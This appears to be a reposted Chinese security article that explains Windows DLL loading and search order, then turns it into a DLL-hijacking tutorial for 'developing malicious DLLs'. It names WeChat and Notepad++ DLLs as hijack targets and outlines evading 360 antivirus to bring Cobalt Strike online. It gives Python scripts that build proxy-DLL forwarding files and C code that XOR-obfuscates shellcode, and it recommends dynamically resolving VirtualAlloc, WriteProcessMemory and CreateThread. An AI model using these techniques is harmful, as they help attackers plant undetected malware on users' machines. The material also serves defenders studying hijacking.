https://m.toutiao.com/is/UBTRuK3/?=
// math.cint add(int a, int b) { return a + b;}int sub(int a, int b) { return a - b;}
1.编译:由编译器逐个对 c 源代码文件做词法分析、语法分析等操作,最终生成多个目标二进制文件,但由于它们相互之间会调用对方的函数或变量,还可能会调用某些链接库中的函数和变量,编译器无法跨文件找到它们确切的存储位置,所以这些目标二进制文件无法单独运行。2.链接:对于每个目标二进制文件中缺失的函数和变量的存储地址,由链接器负责修复,并最终将所有的目标文件和链接库组织成一个可执行文件。链接器完成链接工作的方式有两种:(1)无论目标二进制文件中缺失的地址位于其他其它目标文件还是链接库,链接器都会逐个找到各个目标文件中缺失的地址,采用此链接方式生成的可执行文件,可以独立载入内存中运行,我们称这种方式为静态链接,用到的链接库为静态链接库;(2)链接器先从所有目标二进制文件中找到部分缺失的地址,然后将所有目标文件组织成一个可执行文件。如此生成的可执行文件,仍然缺失部分函数和变量的地址,待文件执行时,需连同所有的链接库文件一起载入内存,再由链接器完成剩余的地址修复工作,才能正常执行。这种方式中,链接所有目标文件的方法仍属于静态链接,而载入内存后进行的链接操作称为动态链接,此时用到的链接库称为动态链接库DLL(Dynamic Link Library)。
__declspec(dllexport) int add(int a, int b);
1.左边是dll程序编译过程,生成了 dll 文件和一个 lib 文件;这里的 lib 文件不是指的静态链接库,而是列出了这个 dll 中哪些函数和变量允许被外界调用,记录的信息包含函数和变量的名称以及它们在动态库中的存储位置。2.右边是主程序exe的编译过程,其需要引入dll程序的头文件,该头文件声明了要主程序需要使用的dll的导出函数,经过编译后生成的目标二进制文件,需要经过静态链接将lib文件和目标二进制文件链接到一起形成二进制可执行文件。3.最后可执行文件在载入内存后,同时由动态链接器识别到主程序所要引入的dll,进而将所需要的dll也载入内存,之后进程的主线程开始执行,应用程序启动运行。
1.左边是dll程序编译过程,最终生成了一个dll文件和一个lib文件,但是与隐式加载不同的是,我们的主程序exe在编译和静态链接过程中并不需要引入dll的头文件和lib文件。2.主程序载入内存,主线程开始执行,应用程序启动运行。3.主线程或其中某个线程调用LoadLibrary(EX)函数,将DLL加载到进程的内存空间,然后该线程调用GetProcAddress函数获取需要调用的dll的导出函数的地址,最后通过函数指针传参调用该函数;(1)通过LoadLibrary函数指定DLL名称将DLL加载进内存;(2)通过GetProcAddress函数根据导出函数的名称获取内存地址;(3)通过函数指针传参调用该函数;
什么是延迟加载?其本质和显式加载是一样的,都会调用LoadLibrary和GetProcAddress函数,都是在程序运行过程中才将DLL载入内存;但是在开发人员的使用层面上,比显式加载使用起来方便,开发者只需要在visual studio的链接器选项中设置一下即可让隐式加载的'主程序载入内存时一起载入所需要的DLL'转变为显式加载的'程序使用到该DLL的函数时再载入DLL'。
A DLL,其导出函数有 sub_1,可以供主程序 exe 调用;B DLL,其导出函数有 add_2, sub_2,但是开发者开发时,标记了 sub_2 函数实际调用的是 A DLL 的 sub_1 函数,那么主程序在调用的时候:exe -> sub_2 -> sub_1,即 sub_2 只是起到一个中转的作用,前面讲到,我们在调用 DLL 的导出函数时,需要将对应的 DLL 载入内存,获取到其导出函数的内存地址,才能进行调用,所以 exe 在调用 B DLL的 add_2 和 sub_2 函数时,不仅需要将 B DLL 载入内存,而且还需要将 A DLL 载入内存。这个知识点对我们后续开发恶意DLL有很重要的作用。
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
1.应用程序所在的目录;2.系统目录,使用 GetSystemDirectory 获取该路径;(64位程序默认c:\windows\system32,32位程序默认为c:\windows\syswow64)3.16 位系统目录;4.Windows 目录(默认c:\windows\);5.当前目录;6.PATH 环境变量中列出的目录;
A 应用程序需要加载 b.dll,正常的 b.dll 位于 C:\Windows\System32目录(即系统目录),如果我们将恶意的 b.dll 放置于应用程序所在目录的话,则在应用程序搜索 dll 过程中,会优先加载我们的恶意 dll。
1.kernel32.dll:这个 DLL 文件包含了许多常用的系统函数,例如文件、内存、进程、线程、时间等操作函数。它是用户模式和内核模式之间的接口,负责管理系统资源、提供系统服务和执行系统调用等。在开发 Windows 应用程序时,经常会使用 kernel32.dll 来调用系统函数和操作系统服务。2.ntdll.dll:这个 DLL 文件包含了许多 Windows 操作系统内核的基本组件,例如进程、线程、内存、安全、对象管理等。它是 kernel32.dll 的基础,提供了更底层的系统调用接口,同时也提供了一些内核级别的函数和服务。在开发 Windows 内核模式驱动程序时,通常会使用 ntdll.dll 来调用内核级别的函数和服务。
在 Windows 操作系统中,有很多常用的公共 DLL,这些 DLL 包含了许多常用的 Windows API 函数,是许多应用程序所依赖的核心 DLL。以下是一些常用的公共 DLL:1.kernel32.dll:包含了许多系统级别的函数,如内存管理、进程管理、线程管理、时间和日期操作、文件操作等。2.user32.dll:包含了许多用户界面函数,如窗口管理、菜单管理、消息处理、剪贴板操作等。3.gdi32.dll:包含了许多图形设备接口函数,如绘图、字体、颜色管理等。4.advapi32.dll:包含了许多高级系统函数,如注册表操作、安全权限管理、事件日志管理等。5.shell32.dll:包含了许多 shell 相关的函数,如文件和文件夹操作、快捷方式管理、控制面板管理等。6.comctl32.dll:包含了许多常用的控件和窗口样式,如按钮、编辑框、进度条、滚动条等。7.ole32.dll:包含了许多 COM 和 OLE 技术相关的函数,如对象创建、接口调用、内存管理等。需要注意的是,以上 DLL 只是一些常用的公共 DLL,实际上 Windows 操作系统中还有很多其他的公共 DLL,它们都是许多应用程序所依赖的核心 DLL。
Column | Relation | Value | Action |
Process Name | contains | Notepad | Include |
Path | Contains | E:\notepad++\ | Include |
Path | Contains | .*.dll | Include |
Path | Contains | .exe | Exclude |
Path | Contains | .xml | Exclude |
1.为了保证应用程序的正常执行,应用程序会调用正常DLL的导出函数,这意味着我们编写恶意DLL的时候也需要保证应用程序的正常执行,这里可以利用之前讲到的DLL函数转发的方式;
'''desc: 根据 pe 文件生成对应的 def 文件,其中包含所有转发的导出函数'''import argparseimport osimport pefiledef generate_def_file(pe_path: str, def_path: str): pe = pefile.PE(pe_path) with open(def_path, 'w') as f: f.write(f'LIBRARY {os.path.splitext(os.path.basename(pe_path))[0] + '.dll'}') f.write('\n') f.write('EXPORTS\n') for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: # Ignore non-exported symbols if not exp.name: continue f.write(' ' + exp.name.decode() + ' = ' + os.path.basename(pe_path).split('.')[0] + '_origin' + '.' + exp.name.decode() + ' @' + str(exp.ordinal) + '\n')if __name__ == '__main__': parser = argparse.ArgumentParser(description='Generate DEF file from a DLL file') parser.add_argument('--pe_path', required=True, help='The path of the DLL file to generate the DEF file from') parser.add_argument('--def_path', required=True, help='The path of the generated DEF file') args = parser.parse_args() generate_def_file(args.pe_path, args.def_path)
'''desc: 根据 def 文件生成对应的函数声明和函数定义'''import argparsedef generate_func_declaration(def_path, header_path): with open(def_path, 'r') as f: functions = [] for line in f: if '=' in line: func_name = line.split('=')[0].strip() functions.append(func_name) with open(header_path, 'w') as f: f.write('#ifndef FUNCTION_DECLARATION_H\n') f.write('#define FUNCTION_DECLARATION_H\n') for func_name in functions: f.write('extern void {0}();\n'.format(func_name)) f.write('#endif\n')def generate_func_definition(def_path, source_path): with open(def_path, 'r') as f: functions = [] for line in f: if '=' in line: func_name = line.split('=')[0].strip() functions.append(func_name) with open(source_path, 'w') as f: for func_name in functions: f.write('void {0}() {{}}\n'.format(func_name))if __name__ == '__main__': parser = argparse.ArgumentParser(description='Generate function declaration and definition files from a .def file') parser.add_argument('--def_file', type=str, help='path to the .def file') parser.add_argument('--header_file', type=str, help='path to the header file to output') parser.add_argument('--source_file', type=str, help='path to the source file to output') args = parser.parse_args() generate_func_declaration(args.def_file, args.header_file) generate_func_definition(args.def_file, args.source_file) print('Function declaration and definition files generated successfully.')
Version.dll is a Dynamic Link Library (DLL) file that is included with the Microsoft Windows operating system. It provides various functions related to version information for applications and other system components.When an application loads the version.dll, it can use its functions to retrieve information about the version of the operating system or other software components installed on the system. This information can be used by the application to determine compatibility requirements, to provide feature-specific behavior, or to identify bugs that may be related to a specific version of a component.Here are some common functions provided by version.dll:1.GetFileVersionInfo: Retrieves version information for a specified file.2.VerQueryValue: Retrieves a specific value from the version information for a specified file.3.GetFileVersionInfoSize: Determines the size of the version information for a specified file.4.GetFileVersionInfoEx: Retrieves extended version information for a specified file.5.GetFileVersionInfoSizeEx: Determines the size of the extended version information for a specified file.Overall, the version.dll is a useful tool for developers and applications that need to retrieve and analyze version information for various software components.
# 所有微信自带的DLL(带有腾讯数字签名的DLL):WeUIResource.dllWeChatWin.dllWeChatResource.dllwcprobe.dllVoipEngine.dllmmtcmalloc.dllmmmojo.dlllibFFmpeg.dllandromeda.dll1.WeUIResource.dll # 不存在导出函数2.WeChatWin.dll、WeChatResource.dll、VoipEngine.dll、andromeda.dll # 导出函数乱码,类似如下:
3.wcprobe.dll # 导出函数只有序号,没有名称,如下图:
4.mmtcmalloc.dll、mmmojo.dll、libFFmpeg.dll、 # 导出函数较少,没有乱码,比较适合劫持,如下图:
# 分三步:1.需要对 Cobalt Strike 生成的 shellcode 进行加密混淆绕过 360 静态查杀;2.需要对我们编写的恶意 DLL 所使用的敏感 API 如VirtualAlloc、WriteProcessMemory、CreateThread进行动态调用以避免在DLL导入表中连续出现好几个敏感的 API;3.通过劫持 notepad++ 的 DLL,绕过 360 动态查杀上线 Cobalt Strike;
#include <stdio.h>/* 将 shellcode 进行 xor 加密并输出到 encrypted_data.c 文件中 */int main() { /* length: 892 bytes */ /* 如下是 shellcode xor 加密操作 */ unsigned char buf[] = '你的shellcode'; unsigned char key = 0x5A; // 设置加密密钥 int length = sizeof(buf) / sizeof(unsigned char); for (int i = 0; i < length; i++) { buf[i] ^= key; // 将密钥与每个字节进行异或操作 } FILE* fp = fopen('encrypted_data.c', 'w'); // 打开文件以写入数据 if (!fp) { printf('Error opening file for writing!\n'); return 1; } fprintf(fp, 'unsigned char buf[] = {'); // 输出数组定义的头部 // 输出加密后的数据 for (int i = 0; i < length; i++) { fprintf(fp, '0x%02X', buf[i]); if (i < length - 1) { fprintf(fp, ','); } } fprintf(fp, '};'); // 输出数组定义的尾部 fclose(fp); return 0;}
建议:请及时更新杀毒病毒库,以及多注意安全防范。
from https://www.freebuf.com/articles/endpoint/366348.html
联系客服